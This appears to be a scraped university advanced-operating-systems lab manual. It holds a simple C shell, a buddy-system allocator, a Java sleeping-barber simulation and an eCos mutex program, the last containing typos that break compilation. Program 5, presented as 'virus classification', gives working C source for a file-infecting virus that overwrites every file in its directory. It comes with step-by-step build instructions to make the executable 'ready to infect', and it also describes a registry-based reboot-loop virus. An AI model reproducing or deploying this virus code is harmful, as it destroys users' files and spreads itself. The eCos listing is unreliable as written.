• No results found

14SCS16 Aos Lab

N/A
N/A
Protected

Academic year: 2021

Share "14SCS16 Aos Lab"

Copied!
33
0
0

Loading.... (view fulltext now)

Full text

(1)

LABORATORY WORK

Note: The following programs can be executed on Java/C#/ any equivalent language or tool with suitable platform.

Page no. 01 Design and Develop a shell that should support at least 20 commands.

02 Design and develop a program to implement lazy buddy system algorithm.

03 Write a multi-class multithreaded program that simulates multiple sleeping barbers, all in one barbershop that has a finite number of chairs in the waiting room. Each customer is instantiated from a single customer class; each barber is instantiated from a single Barber class.

04 Use ECOS operating system to develop a program for controlling accessing to a pool of resources using mutexes and condition variables.

05 Design and develop a program to realize the virus classification, such as boot sector infector, file infector and macro virus.

(2)

Program 1

Design and Develop a shell that should support at least 20 commands.

A Unix shell is a command-line interpreter or shell that provides a traditional user interface for the Unix operating system and for Unix-like systems. Users direct the operation of the computer by entering commands as text for a command line interpreter to execute, or by creating text scripts of one or more such commands. Users typically interact with a Unix shell using a terminal emulator, however, direct operation via serial hardware connections, or networking session, are common for server systems.

A Shell is the most fundamental way that a user can interact with the system, and the shell hides the details of the underlying operating system from the user.

The most influential Unix shells have been the Bourne shell and the C shell. The Bourne shell, sh, was written by Stephen Bourne at AT&T as the original Unix command line interpreter; it introduced the basic features common to all the Unix shells, including piping, here documents, command substitution, variables, control structures for condition-testing and looping and filename wildcarding.

The C shell, csh, was written by Bill Joy while a graduate student at University of California, Berkeley. The language, including the control structures and the expression grammar, was modelled on C. The C shell also introduced a large number of features for interactive work, including the history and editing mechanisms, aliases, directory stacks, tilde notation, cdpath, job control and path hashing.

Commands

Command Description

time Measure Program running time

pwd Print Working Directory

man Help manual

ls List information about file(s)

echo Display message on screen

date Display or change the date & time

cal Display a calendar

(3)

#include<stdio.h> #include<stdlib.h> #include<sys/types.h> #include<unistd.h>

void parse(char *cmd, char **arguvec) { while(*cmd != '\0') { while( *cmd == ' ' || *cmd == '\t' || *cmd == '\n') *cmd++='\0'; *arguvec++=cmd;

while(*cmd != '\0' && *cmd != ' ' && *cmd != '\t' && *cmd != '\n') cmd++;

}

*arguvec = '\0'; }

void cmdexecutes(char **arguvec) { pid_t pid; int status; pid = fork(); if(pid < 0) {

printf("\n error in creating fork"); exit(0);

}

else if(pid == 0) {

if(execvp (*arguvec, arguvec) < 0) {

printf("\n error in calling exec"); exit(0);

} }

else {

(4)

while(wait(&status) != pid); } } int main() { char cmd[1024]; char *arguvec[20]; while(1) { printf("[MYSHELL]"); gets(cmd); parse(cmd, arguvec);

if( strcmp(arguvec[0], "exit") == 0) { exit(0); } cmdexecutes(arguvec); } return 0; } Output: ubuntu@ubuntu-VirtualBox:~/lab$ gedit 1.c ubuntu@ubuntu-VirtualBox:~/lab$ cc 1.c

(5)

ubuntu@ubuntu-VirtualBox:~/lab$ ./a.out [MYSHELL]ls 1.c 1.c~ a.out [MYSHELL]who ubuntu tty7 2015-11-25 09:04 ubuntu pts/1 2015-11-25 09:27 (:0) [MYSHELL]ps

PID TTY TIME CMD 2610 pts/1 00:00:01 bash 2825 pts/1 00:00:00 a.out 2828 pts/1 00:00:00 ps [MYSHELL]date

Wed Nov 25 09:38:46 IST 2015 [MYSHELL]cal November 2015 Su Mo Tu We Th Fr Sa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [MYSHELL]pwd /home/ubuntu/lab [MYSHELL]

(6)

Program 2

Design and Develop a program to implement lazy buddy system algorithm.

Lazy-Buddy System

o Combines free buffer coalescing with a power of two allocator.

o Creates small buffers by repeatedly halving a large buffer and coalescing adjacent free buffer. o Each half of a split buffer is called a Buddy.

o Coalescing delay time taken to coalesce a single buffer with its buddy.

o To avoid coalescing delay we can defer coalescing until it becomes necessary and then coalesces as many buffers as possible.

o It improves the average time for allocation and release. o SVR4 offers an intermediate solution which is more efficient.

o Buffer release involves two steps: First the buffer is put on the free list. Second the buffer is marked as free in the bitmap and coalesced with adjacent buffer is possible.

o Lazy buddy system always performs the first step, whether it performs the second step it depends on the state of the buffer class.

o Buffer class can be in one of 3 states: Lazy, Reclaiming, Accelerated. o State of the buffer determined by the Slack, Slack= N-2L-G where,

N- number of buffers in class. L- number of locally from buffers. G- number of globally free buffers.

System is in, Lazy state when Slack>=2, Reclaiming state when Slack=1, Accelerated state when Slack=0.

(7)

#include<stdio.h> #include<stdlib.h> int tree[2050], i, j, k;

void segmentalloc(int, int), makedivided(int), makefree(int), printing(int, int); int place(int), power(int, int);

int main() {

int totsize, ch, req;

printf("BUDDY SYSTEM REQUIREMENTS"); printf("\n Enter the Size of the memory : "); scanf("%d", &totsize);

while(1) {

printf("\n B U D D Y S Y S T E M ");

printf("\n 1) Locate the process into the Memory"); printf("\n 2) Remove the process from Memory"); printf("\n 3) Tree structure for Memory allocation Map"); printf("\n 4) Exit");

printf("\n Enter your choice : "); scanf("%d", &ch);

switch(ch) {

case 1:

printf("\n MEMORY ALLOCATION "); printf("\n Enter the Process size : "); scanf("%d", &req);

segmentalloc(totsize, req); break;

case 2:

printf("\n MEMORY DEALLOCATION "); printf("\n Enter the process size : "); scanf("%d", &req);

makefree(req); break;

(8)

case 3:

printf("\n MEMORY ALLOCATION MAP"); printing(totsize, 0); break; default: return; } } }

void segmentalloc(int totsize, int request) {

int flevel = 0, size; size = totsize; if(request > totsize) {

printf("%c R E S U L T : ", 2);

printf("\n The system don't have enough free memory"); printf("\n Suggession : Go for VIRTUAL MEMORY"); return;

}

while(1) {

if(request < size && request > (size/2)) break; else { size /= 2; flevel++; } }

for(i = power(2, flevel) - 1; i <= (power(2, flevel+1) - 2); i++) if(tree[i] == 0 && place(i) )

{

tree[i] = request; makedivided(i);

printf("\n Result : Successful Allocation"); break;

}

if(i == power(2, flevel+1) - 1) {

(9)

printf("\n The system don't have enough free memory"); printf("\n Suggession : Go for VIRTUAL Memory Mode"); }

}

void makedivided(int node) {

while(node != 0) {

node = (node%2 == 0) ? (node-1)/2 : node/2; tree[node] = 1;

} }

int place(int node) {

while(node != 0) {

node = (node%2 == 0) ? (node-1)/2 : node/2; if(tree[node] > 1)

return 0; }

return 1; }

void makefree(int request) { int node = 0; while(1) { if(tree[node] == request) break; else node++; } tree[node] = 0; while(node!=0) {

if( tree[node%2==0 ? node-1 : node+1] == 0 && tree[node] == 0) {

(10)

tree[node%2 == 0? (node-1)/2 : node/2] = 0; node = node%2 == 0 ? (node-1)/2 : node/2; }

else

break; }

}

int power(int x, int y) { int z, ans; if(y == 0) return 1; ans = x; for(z=1; z<y; z++) ans *= x; return ans; }

void printing(int totsize, int node) {

int permission = 0, llimit, ulimit, tab; if(node == 0) permission = 1; else if(node%2 == 0) permission = tree[(node-1)/2]==1 ? 1 : 0; else permission = tree[node/2] == 1 ? 1 : 0; if(permission) {

llimit = ulimit = tab = 0; while(1)

{

if(node >= llimit && node <= ulimit) break; else { tab++; printf(" "); llimit = ulimit+1;

(11)

ulimit = 2*ulimit+2; }

}

printf(" %d ", totsize/power(2, tab)); if(tree[node] > 1)

printf("---> Allocated %d ", tree[node]); else if(tree[node] == 1) printf("---> Divided"); else printf("---> Free"); printing(totsize, 2*node+1); printing(totsize, 2*node+2); } }

(12)

Output:

ubuntu@ubuntu-VirtualBox:~/lab$ gedit 2.c ubuntu@ubuntu-VirtualBox:~/lab$ cc 2.c ubuntu@ubuntu-VirtualBox:~/lab$ ./a.out BUDDY SYSTEM REQUIREMENTS Enter the Size of the memory : 500 B U D D Y S Y S T E M

1) Locate the process into the Memory 2) Remove the process from Memory 3) Tree structure for Memory allocation Map 4) Exit

Enter your choice : 1 MEMORY ALLOCATION Enter the Process size : 400 Result : Successful Allocation B U D D Y S Y S T E M

1) Locate the process into the Memory 2) Remove the process from Memory 3) Tree structure for Memory allocation Map 4) Exit

Enter your choice : 3

MEMORY ALLOCATION MAP 500 ---> Allocated 400 B U D D Y S Y S T E M

1) Locate the process into the Memory 2) Remove the process from Memory 3) Tree structure for Memory allocation Map 4) Exit

Enter your choice : 2

MEMORY DEALLOCATION Enter the process size : 400

B U D D Y S Y S T E M

(13)

2) Remove the process from Memory 3) Tree structure for Memory allocation Map 4) Exit

Enter your choice : 4

Case 2:

BUDDY SYSTEM REQUIREMENTS Enter the Size of the memory : 500

B U D D Y S Y S T E M

1) Locate the process into the Memory 2) Remove the process from Memory 3) Tree structure for Memory allocation Map 4) Exit

Enter your choice : 1

MEMORY ALLOCATION Enter the Process size : 600 R E S U L T :

The system don't have enough free memory Suggession : Go for VIRTUAL MEMORY

B U D D Y S Y S T E M

1) Locate the process into the Memory 2) Remove the process from Memory 3) Tree structure for Memory allocation Map 4) Exit

Enter your choice :

Case 3:

(14)

Enter the Size of the memory : 500

B U D D Y S Y S T E M

1) Locate the process into the Memory 2) Remove the process from Memory 3) Tree structure for Memory allocation Map 4) Exit

Enter your choice : 1

MEMORY ALLOCATION Enter the Process size : 100 Result : Successful Allocation B U D D Y S Y S T E M

1) Locate the process into the Memory 2) Remove the process from Memory 3) Tree structure for Memory allocation Map 4) Exit

Enter your choice : 3

MEMORY ALLOCATIONMAP 500 ---> Divided 250 ---> Divided 125 ---> Allocated 100 125 ---> Free 250 ---> Free

B U D D Y S Y S T E M

1) Locate the process into the Memory 2) Remove the process from Memory 3) Tree structure for Memory allocation Map 4) Exit

(15)

Program 3

Write a multi-class multithreaded program that simulates multiple sleeping barbers,

all in one barbershop that has a finite number of chairs in the waiting room. Each

customer is instantiated from a single customer class; each barber is instantiated

from a single Barber class.

Sleeping Barber

The barber shop has one barber, one barber chair, and ‘n’ chairs for waiting customers, if any to sit on. If there are no customers present, the barber sits down in the barber chair and falls asleep. When a customer arrives, he has to wake up the sleeping barber. If additional customers arrive while the barber is cutting a customer's hair, they either sit down (if there are empty chairs) or leave the shop (if all chairs are full). The problem is to program the barber and the customers without getting into race conditions. This problem is similar to various queuing situations, such as a multi-person helpdesk with a computerized call waiting system for holding a limited number of incoming calls.

Our solution uses three semaphores, customers, which counts waiting customers (excluding the customer in the barber chair, who is not waiting), barbers, the number of barbers (0 or 1) who are idle, waiting for customers, and mutex, which is used for mutual exclusion. We also need a variable, waiting, which also counts the waiting customers. The reason for having waiting is that there is no way to read the current value of a semaphore. In this solution, a customer entering the shop has to count the number of waiting customers. If it is less than the number of chairs, he stays; otherwise, he leaves.

When the barber shows up for work in the morning, he executes the procedure barber, causing him to block on the semaphore customers because it is initially 0. The barber then goes to sleep. He stays asleep until the first customer shows up.

When a customer arrives, he executes customer, starting by acquiring mutex to enter a critical region. If another customer enters shortly thereafter, the second one will not be able to do anything until the first one has released mutex. The customer then checks to see if the number of waiting customers is less than the number of chairs. If not, he releases mutex and leaves without a haircut.

If there is an available chair, the customer increments the integer variable, waiting. Then he does an Up on the semaphore customers, thus waking up the barber. At this point, the customer and the barber are

(16)

both awake. When the customer releases mutex, the barber grabs it, does some housekeeping, and begins the haircut.

When the haircut is over, the customer exits the procedure and leaves the shop. The barber loops, however, to try to get the next customer. If one is present, a haircut is given. If not, the barber goes to sleep. As an aside, it is worth pointing out that although the readers and writers and sleeping barber problems do not involve data transfer, they still belong to the area of IPC because they involve synchronization between multiple processes.

(17)

import java.util.concurrent.*;

public class SleepingBarber extends Thread {

public static Semaphore customers = new Semaphore(0); public static Semaphore barber = new Semaphore(0); public static Semaphore accessSeats = new Semaphore(1); /* the number of chairs in this barbershop is 5. */ public static final int CHAIRS = 5;

public static int numberOfFreeSeats = CHAIRS; /* THE CUSTOMER THREAD */

class Customer extends Thread {

int iD;

boolean notCut = true;

/* Constructor for the Customer */ public Customer(int i)

{

iD = i; }

public void run() {

while (notCut) {

// as long as the customer is not cut try

{

accessSeats.acquire(); if (numberOfFreeSeats > 0)

{

System.out.println("Customer "+this.iD+" just sat down."); numberOfFreeSeats--; //sitting down on a chair

customers.release(); //notify the barber that there is a customer accessSeats.release(); // don't need to lock the chairs anymore

(18)

{

barber.acquire(); notCut = false;

this.get_haircut(); //cutting... }

catch (InterruptedException ex) {} }

else

{

// there are no free seats

System.out.println("There are no free seats. Customer " + this.iD + " has left the barbershop.");

accessSeats.release(); //release the lock on the seats notCut=false;

}

}

catch (InterruptedException ex) {} } //while ends

} // public void run() ends

/* this method will simulate getting a hair-cut */

public void get_haircut() {

System.out.println("Customer " + this.iD + " is getting his hair cut"); try

{

sleep(5050);

}

catch (InterruptedException ex) {} }

} //customer class ends here

(19)

/* THE BARBER THREAD */ class Barber extends Thread {

public Barber() {} public void run()

{

while(true)

{ // runs in an infinite loop try

{

customers.acquire(); //tries to acquire a customer, if none available, he goes to sleep

accessSeats.release(); // at this time he has been woken up numberOfFreeSeats++; // one chair gets free

barber.release(); // the barber is ready to cut

accessSeats.release(); // no need of lock on the chairs anymore this.cutHair(); //cutting...

} catch (InterruptedException ex) {}

}

}

/* this method will simulate cutting hair */

public void cutHair() {

System.out.println("The barber is cutting hair");

try

{

sleep(5000);

} catch (InterruptedException ex){ } }

} //barber class ends here

(20)

public static void main(String args[]) {

SleepingBarber barberShop = new SleepingBarber(); //Creates a new barbershop barberShop.start();

}

public void run() {

Barber b = new Barber();

b.start(); //Ready for another day of work

/* This method will create new customers for a while */ for (int i=1; i<16; i++)

{

Customer aCustomer = new Customer(i); aCustomer.start(); try { sleep(2000); } catch(InterruptedException ex) {}; } }

}// program ends here

Output:

ubuntu@ubuntu-VirtualBox:~/lab$ gedit SleepingBarber.java ubuntu@ubuntu-VirtualBox:~/lab$ javac SleepingBarber.java

(21)

ubuntu@ubuntu-VirtualBox:~/lab$ java SleepingBarber Customer 1 just sat down.

The barber is cutting hair

Customer 1 is getting his hair cut Customer 2 just sat down.

Customer 3 just sat down.

Customer 2 is getting his hair cut The barber is cutting hair

Customer 4 just sat down. Customer 5 just sat down. The barber is cutting hair

Customer 3 is getting his hair cut Customer 6 just sat down.

Customer 7 just sat down. Customer 8 just sat down.

Customer 4 is getting his hair cut The barber is cutting hair

Customer 9 just sat down.

There are no free seats. Customer 10 has left the barbershop. Customer 5 is getting his hair cut

The barber is cutting hair Customer 11 just sat down.

There are no free seats. Customer 12 has left the barbershop. There are no free seats. Customer 13 has left the barbershop. Customer 6 is getting his hair cut

The barber is cutting hair Customer 14 just sat down.

There are no free seats. Customer 15 has left the barbershop. Customer 7 is getting his hair cut

The barber is cutting hair

Customer 8 is getting his hair cut The barber is cutting hair

Customer 9 is getting his hair cut The barber is cutting hair

Customer 11 is getting his hair cut The barber is cutting hair

Customer 14 is getting his hair cut The barber is cutting hair

(22)

Program 4

Use ECOS operating system to develop a program for controlling accessing to a pool

of resources using mutexes and condition variables.

ECOS

The Embedded Configurable Operating System (eCos) is a royalty-free, open-source, real-time kernel, targeted at high-performance small embedded systems. As such, eCos has been specifically designed and tuned to run on 32- and 64-bit microprocessors.

ECOS Overview

eCos is designed around a single-process, single-address space, multiple-thread model. Application code is linked directly with the eCos kernel to be deployed in the target environment. A complete set of kernel features is provided to support applications built using eCos. These include:

 Thread primitives. Functions to create, destroy, suspend, and resume threads are provided.

 Synchronization primitives. Multiple mechanisms for thread synchronization are provided, including mutex and condition variables, binary and counting semaphores, message/mail boxes, and general-purpose event flags.

 Timers, counters, and alarms. A set of flexible counter and alarm functions is provided.

 Standard libraries. A complete Standard C run-time library is provided. Also included is a complete math run-time library for high-level mathematics functions.

 Device drivers. A complete, extensible package supporting general-purpose I/O devices is provided. Most platform ports also come with a set of drivers for standard devices, such as serial I/O.

Most of eCos is written in C++, with some machine-dependent portions written in C and assembly language. eCos also includes a complete C-language kernel API. C++ is used with care taken to exploit the high-level abstractions available in that environment without introducing unnecessary overheads. To keep run-time overhead low, neither C++ exceptions nor RTTI are used within the kernel. Additionally, the kernel is completely static (for instance, there are no uses of new), and the only use of C++ templates is to provide type-checked macros. An example of the use of templates is in the memory-pool management classes, wherein a template is used to wrap generic thread synchronization, waiting, and atomicity around any of several simple memory-pool managers.

(23)

Condition Variable

A condition variable indicates an event and has no value. More precisely, one cannot store a value into nor retrieve a value from a condition variable. If a thread must wait for an event to occur, that thread waits on the corresponding condition variable. If another thread causes an event to occur, that thread simply signals the corresponding condition variable. Thus, a condition variable has a queue for those threads that are waiting the corresponding event to occur to wait on, and, as a result, the original monitor is extended to the following. The private data section now can have a number of condition variables, each of which has a queue for threads to wait on.

Condition Variable Operations: Wait and Signal

There are only two operations that can be applied to a condition variable: wait and signal. When a thread executes a wait call (in a monitor, of course) on a condition variable, it is immediately suspended and put into the waiting queue of that condition variable. Thus, this thread is suspended and is waiting for the event that is represented by the condition variable to occur. Because the calling thread is the only thread that is running in the monitor, it "owns" the monitor lock. When it is put into the waiting queue of a condition variable, the system will automatically take the monitor lock back. As a result, the monitor becomes empty and another thread can enter.

Eventually, a thread will cause the event to occur. To indicate a particular event occurs, a thread calls the signal method on the corresponding condition variable. At this point, we have two cases to consider. First, if there are threads waiting on the signalled condition variable, the monitor will allow one of the waiting threads to resume its execution and give this thread the monitor lock back. Second, if there is no waiting thread on the signalled condition variable, this signal is lost as if it never occurs.

Therefore, wait and signal for a condition variable is very similar to the notification technique of a semaphore: One thread waits on an event and resumes its execution when another thread causes the event to occur. However, there are major differences as will be discussed on a later page.

Mutexes (mutual-exclusion locks) are used to implement critical sections and protect shared mutable data structures against concurrent accesses. The typical use is (if m is the mutex associated with the data structure D):

Mutex.lock m;

(* Critical section that operates over D *); Mutex.unlock m

(24)

#include<cyg/kernel/kapi.h> #include<stdio.h> #include<math.h> #include<stdlib.h> #define THREADS_MAX 2 #define STACK_MAX 4096 #define RES_MAX 2

typedef int res_t; //good to have resource as int since this is only an example cyg_thread thread_s[2]; // create two thread variable

char stack[THREADS_MAX][STACK_MAX]; // space for thread stack // now the handles for the threads

cyg_handle_t simple_threadA, simple_threadB; // declares routines associated with the threads cyg_thread_entry_t simple_programA;

cyg_thread_entry_t simple_programB;

cyg_mutex_t mut_t; //this mutex can be used to protect critical sections cyg_mutex_t res_lock; // this mutex is for resource locking

cyg_cond_t res_wait; // condition variable res_t res_pool[RES_MAX]; // this is a pool of resource res_t allocatedRes; // this holds the resource

int res_count = RES_MAX; // initially resource count needs to be maximum

void res_init(void) // this routine initializes kernel variable for resource allocation {

cyg_mutus_inti(&res_lock);

cyg_cond_init(&res_wait, &res_lock); }

void res_free(res_t res) // this routine frees a resource under mutex control {

cyg_mutex_lock(&res_lock); // lock the mutex res_pool[res_count] = res; // free the resource res_count++;

cyg_cond_signal(&res_wait); // wake up any waiting allocators cyg_mutux_unlock(&res_lock); // unlock the mutex

}

res_t res_allocate(void) // this routine allocates a resource under mutex control {

res_t res;

cyg_mutes_lock(&res_lock); // lock the mutex while(res_count == 0) // wait for the resource

(25)

cyg_cond_wait(&res_wait); // this conditional varaible puts the thread is blocked when there are no resources

res_count--; // allocate the resource res = res_pool[res_count];

cyg_mutex_unlock(&res_lock); // unlock the mutex return res;

}

// this is the first control of execution and creates two ECOS threads void cyg_user_start(void)

{

printf(" ******** ********\n");

printf("****** ECOS APPLICATION STARTUP *******\n");

cyg_mutex_init(&mut_t); // used to put printf inter mutex control res_init();

cyg_thread_create(5, simple_programA, (cyg_addrword_t) 0,

"Thread A", (void *) stack[0], STACK_MAX,&simple threadA, &thread_s[0]); cyg_thread_create(5, simple_programB, (cyg_addrword_t) 1,

"Thread B", (void *) stack[1], STACK_MAX,&simple threadB, &thread_s[1]); cyg_thread_resume(simple_threadA);

cyg_thread_resume(simple_threadB); }

// this code runs in the context of the first thread void simple_programA(cyg_addrword_t data) {

int msg = (int)data; int delay;

printf("start of execution; thread %d \n", msg); cyg_thread_delay(200);

for(;;) {

delay = 200 + (rand()%50); allocatedRes = res_allocate();

cyg_mutex_lock(&mut_t); // the printf needs to be protected by mutex lock printf(" Thread %d: allocating resource \n", msg);

cyg_mutex_unlock(&mut_t);

cyg_thread_delay(delay); //this delay is necessary for thread switching }

}

// this code runs in the context of the second thread void simple_programB(cyg_addrword_t data)

(26)

{

int msg = (int)data; int delay;

printf("start of execution; thread %d \n", msg); cyg_thread_delay(200);

for(;;) {

Delay = 200 + (rand()%50); res_free(allocatedRes);

cyg_mutex_lock(&mut_t); // the printf needs to be protected by mutex lock printf(" Thread %d: allocating resource \n", msg);

cyg_mutex_unlock(&mut_t);

cyg_thread_delay(delay); //this delay is necessary for thread switching }

}

(27)

Program 5

Design and develop a program to realize the virus classification, such as boot sector

infector, file infector and macro virus.

Virus

A computer virus is a malware program that, when executed, replicates by inserting copies of itself (possibly modified) into other computer program, data files, or the boot sector of the hard drive; when this replication succeeds, the affected areas are then said to be "infected". Viruses often perform some type of harmful activity on infected hosts, such as stealing hard disk space or CPU time, accessing private information, corrupting data, displaying political or humorous messages on the user's screen, spamming their contacts, or logging their keystrokes. However, not all viruses carry a destructive payload or attempt to hide themselves—the defining characteristic of viruses is that they are self-replicating computer programs which install themselves without the user's consent.

Virus Classification:

o Boot Sector Viruses o Program/File Infector o Macro Virus

Boot Sector Viruses

When your computer boots, a code in its boot disk will be executed. This code loads the operating system (Windows, Linux or Unix...). Only when this loading process is finished, can you use your computer. The code is called "Boot sector" and often stays at the very first sectors of the boot disk. Viruses that infect Boot sector are called Boot sector viruses. These viruses are executed every time the infected computer boots and they are loaded even earlier than the operating system.

Nowadays, we can rarely see boot sector viruses around. The reason is just simple that their spread ability is too low and no longer compatible with the Internet age. However, Boot sector viruses are still a part of virus history.

(28)

A program/file infector attempts to infect the program files, most are in Windows, with extensions such as .com, .exe, .bat, .pif, .sys, etc. It gets activated along with the execution of executable files containing virus. The virus then loads itself into memory and replicates itself to other executable files when these files are run.

However, this kind of virus no longer appears or spreads on large scale.

If your computer is infected by File viruses, scan your hard disks with the latest updated AV program and contact the producer for advice and support.

Macro Viruses

Macro viruses infect document files (Microsoft Word), spreadsheet files (Microsoft Excel) or presentation files(Microsoft Power Point) of Microsoft Office suite. The codes programmed to supply more functions to Microsoft Office files are called macros. We can program a certain input sequence into a macro, and every time we use a programmed one, it will be instantiated into a specific output sequence. This helps users in doing repeated works.

Now a days, marco viruses seem to be "extinct", and macros are no longer used in common. An deleting option namely "All Macros" is available in Bkav. When you tick this option, Bkav will delete all available macros in your computer, regardless of whether they are viruses or not (all macros and macro viruses are deleted). If you are not using macros or even don't care what macros are, you should tick it. Then, all old and new macro virus problems in your computer will be solved. If using marcos for work, you should untick it (Bkav will then delete macros viruses only).

How the Virus Program Works?

1: Search for files in the current directory. If one or more file is present, load the first file (target file). 2: Load the copy of the virus itself onto the memory.

3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

How the Virus Program works?

(29)

2. Next, it will determine whether or not the virus file (sysres.exe) is already copied into %systemroot%\Windows\System.

3. If not it will just place a copy of itself into %systemroot%\Windows\System and makes a registry entry to put this virus file into the Windows startup.

4. Or else if the virus is already found in the %systemroot%\Windows\System directory (folder), then it just gives a command to restart the computer. This process is repeated every time the PC is restarted.

How to test Virus?

1. Double-click the sysres.exe file

2. Restart the system manually. From now on, every time the PC is booted and the desktop is loaded, PC will restart automatically again and again. After testing it, virus can be removed by following the below mentioned steps:

Reboot computer in the safe mode.

Go to %systemroot%\Windows\System

A file by name sysres.exe will be found, delete it.

Type regedit in run. You will go to the registry editor. Here navigate to: HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

There, on the right site you will see an entry by name “sres“. Delete this.

How to Test the Virus after the Compilation: 1. Create a new empty folder.

(30)

3. Run the PC_Virus.exe file. Within a few seconds all the other files in the folder gets infected.

4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (do not press ctrl-f9, this will infect all the files in cur directory including your compiler)

3. Note down the size of generated EXE file in bytes (see exe file properties for it’s size)

4. Change the value of X in the source code with the noted down size (in the above source code x= 89088; change it)

5. Once again follow the STEP 1 & STEP 2. Now the generated EXE File is ready to infect

USING BORLAND C++ 5.5 (32-BIT) :

1. Compile once, note down the generated EXE file length in bytes 2. Change the value of X in source code to this length in bytes 3. Recompile it. The new EXE file is ready to infect

4. Open new empty folder

5. Put some EXE files (by searching for *.exe in search & pasting in the new folder)

6. Run the virus EXE file there you will see all the files in the current directory get infected. 7. All the infected files will be ready to reinfect

#include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h>

(31)

#include<conio.h> #include<time.h> FILE *virus, *host; int done, a = 0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st, end; void main() { st = clock(); clrscr();

done = findfirst("*.*", &ffblk, 0); while(!done) { virus = fopen(_argv[0], "rb"); host = fopen(ffblk.ff_name, "rb+"); if(host == NULL) goto next; x = 89088;

printf("Infecting %s\n", ffblk.ff_name, a); while(x>2048) { fread(buff, 2048, 1, virus); fwrite(buff, 2048, 1, host); x -= 2048; } fread(buff, x, 1, virus); fwrite(buff, x, 1, host); a++; next:

(32)

{

fcloseall();

done = findnext(&ffblk); }

}

printf("DONE! (Total Files Infected = %d)", a); end = clock();

printf("TIME TAKEN = %f SEC\n", (end-st)/CLK_TCK); getch(); } Output: vi virus.c cc virus.c ./a.out Infecting a1.txt … … … Infecting a1451.txt

DONE! (Total Files Infected = 1451) TIME TAKEN = 5.054945 SEC

(33)

References

Related documents